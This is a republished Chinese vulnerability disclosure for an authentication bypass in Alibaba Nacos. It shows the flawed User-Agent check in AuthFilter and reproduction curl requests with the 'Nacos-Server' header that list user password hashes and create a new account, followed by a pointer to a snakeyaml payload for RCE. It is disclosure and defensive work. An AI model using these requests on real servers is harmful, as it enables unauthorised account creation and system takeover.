[已修复]Alibaba Nacos to 认证ByPass漏洞,可导致RCE

JAVASEC 2021年4月17日17:09:28评论3,836 views字数 2864阅读9分32秒阅读模式
摘要

Nacos是阿里巴巴2018年7月发布的一个产品,Nacos是一个更易于构建云原生应用的动态服务发现、配置管理和服务管理平台。

[已修复]Alibaba Nacos to 认证ByPass漏洞,可导致RCE

组件描述

Nacos是阿里巴巴2018年7月发布的一个产品,Nacos是一个更易于构建云原生应用的动态服务发现、配置管理和服务管理平台。

漏洞作者

threedr3am

漏洞描述

nacos的认证绕过安全漏洞,在nacos开启了鉴权后,依然能绕过鉴权访问任何http接口。

在默认情况下,nacos需要通过修改application.properties配置文件或添加JVM启动变量-Dnacos.core.auth.enabled=true即可开启鉴权功能 (参考:https://nacos.io/en-us/docs/auth.html)

但在开启鉴权后,我发现代码中,任然可以在某种情况下绕过认证,调用任何接口,通过该漏洞,我可以绕过鉴权,做到:

调用添加用户接口,添加新用户(POST https://127.0.0.1:8848/nacos/v1/auth/users?username=test&password=test),然后使用新添加的用户登录console,访问、修改、添加数据。

漏洞详情

漏洞主要根源在于:

com.alibaba.nacos.core.auth.AuthFilter#doFilter

@Override public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain)         throws IOException, ServletException {          if (!authConfigs.isAuthEnabled()) {         chain.doFilter(request, response);         return;     }          HttpServletRequest req = (HttpServletRequest) request;     HttpServletResponse resp = (HttpServletResponse) response;          String userAgent = WebUtils.getUserAgent(req);          if (StringUtils.startsWith(userAgent, Constants.NACOS_SERVER_HEADER)) {         chain.doFilter(request, response);         return;     }          ... } 

可以看到,此处有一个if判断语句,它判断了userAgent(http header - UserAgent)只要是以Constants.NACOS_SERVER_HEADER字符串(Nacos-Server)开头,则跳过后续的任何鉴权

据我猜测,该处代码应该是为了给内网中某些服务无需鉴权地调用nacos的http接口,但我在查看官方文档时,无任何一处对此作了说明,并且我通过查看鉴权相关文档时(https://nacos.io/en-us/docs/auth.html),它只描述了如何开启鉴权,以及不开启鉴权的后果。

但正是如此,使用者会认为,通过该鉴权文档描述的配置,配置鉴权之后就能安全使用nacos,结果却因为此处的UserAgent绕过,鉴权形同虚设。

这正是secure by default的重要性。进一步说,这可以说是一个后门了。

漏洞影响范围

  • 2.0.0-ALPHA.1
  • 1.x.x

漏洞复现

  1. 访问用户列表接口
curl XGET 'http://127.0.0.1:8848/nacos/v1/auth/users?pageNo=1&pageSize=9' -H 'User-Agent: Nacos-Server'  

可以看到,绕过了鉴权,返回了用户列表数据

{     "totalCount": 1,     "pageNumber": 1,     "pagesAvailable": 1,     "pageItems": [         {             "username": "nacos",             "password": "$2a$10$EuWPZHzz32dJN7jexM34MOeYirDdFAZm2kuWj7VEOJhhZkDrxfvUu"         }     ] } 

2.添加新用户

curl -XPOST 'http://127.0.0.1:8848/nacos/v1/auth/users?username=test&password=test' -H 'User-Agent: Nacos-Server'  

可以看到,绕过了鉴权,添加了新用户

{     "code":200,     "message":"create user ok!",     "data":null }  

3.再次查看用户列表

curl XGET 'http://127.0.0.1:8848/nacos/v1/auth/users?pageNo=1&pageSize=9' -H 'User-Agent: Nacos-Server' 

可以看到,返回的用户列表数据中,多了一个我们通过绕过鉴权创建的新用户

{     "totalCount": 2,     "pageNumber": 1,     "pagesAvailable": 1,     "pageItems": [         {             "username": "nacos",             "password": "$2a$10$EuWPZHzz32dJN7jexM34MOeYirDdFAZm2kuWj7VEOJhhZkDrxfvUu"         },         {             "username": "test",             "password": "$2a$10$5Z1Kbm99AbBFN7y8Dd3.V.UGmeJX8nWKG47aPXXMuupC7kLe8lKIu"         }     ] } 

4.访问首页http://127.0.0.1:8848/nacos/,登录新账号,可以做任何事情

5.很多内网应用都会把application.yml配置在这个配置中心,基本可以通过snakeyaml的payload横向打所有内网应用,结合https://github.com/artsploit/yaml-payload, 修改server配置,可导致RCE

修复建议

默认情况下,如果开启了鉴权,应该不允许默认 UserAgent: Nacos-Server 请求可以绕过鉴权
文档中应该加入相关 UserAgent: Nacos-Server 请求绕过鉴权的描述

开发者针对信息讨论

该agent用于服务间通信鉴权白名单, 既然是白名单模式,就必然是忽略鉴权。 由于是服务端之间使用,就是不推荐用户直接使用,因此不会在文档进行描述。

你这个问题就像nacos的默认管理员密码是nacos一样,因此你的修复建议无法采纳。

参考链接

https://github.com/alibaba/nacos/issues/4593

修复说明

通过issues,官方最终修复了这个安全问题,使用修复版本即可

相关推荐: [已修复]Alibaba Nacos to 认证ByPass漏洞,可导致RCE

组件描述 Nacos是阿里巴巴2018年7月发布的一个产品,Nacos是一个更易于构建云原生应用的动态服务发现、配置管理和服务管理平台。 漏洞作者 threedr3am 漏洞描述 nacos的认证绕过安全漏洞,在nacos开启了鉴权后,依然能绕过鉴权访问任何h…

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
JAVASEC
  • 本文由 发表于 2021年4月17日17:09:28
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   [已修复]Alibaba Nacos to 认证ByPass漏洞,可导致RCEhttp://cn-sec.com/archives/337094.html

发表评论

匿名网友 填写信息